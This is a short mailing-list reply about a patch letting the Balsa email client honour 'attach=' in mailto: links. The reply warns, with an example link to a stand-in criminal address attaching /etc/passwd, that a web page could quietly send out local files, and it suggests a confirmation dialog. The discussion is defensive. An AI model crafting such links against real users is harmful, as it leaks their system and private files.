Re: [PATCH] Attachments in mailto: URLs

[Peter Bloomfield <peterbloomfield bellsouth net>]

On 10/31/2006 11:06:24 PM Tue, Johan Brannlund wrote:
> I noticed when trying to mail pictures from f-spot that Balsa didn't
> include the attachments. A bit of digging revealed that the reason is
> that
> Balsa doesn't understand things like
> "mailto:helmut example com?attach=/tmp/strudel.jpg"
>
> I hacked up a small patch for this, included below. In case it suffers
> from whitespace damage, it's also available at
> http://nullinfinity.org/attach.patch .
>
> Regards,
>
> Johan

On reflection, implementing "attach=file" has some security implications.   
Clicking "mailto:some-criminal some-offshore-address?attach=/etc/passwd"  
on a random web page would probably be a bad idea.  Perhaps Balsa should  
just pop up the attach-file dialog with the target file pre-selected, so  
that the user has to verify that it's OK to send.

Comments?

Peter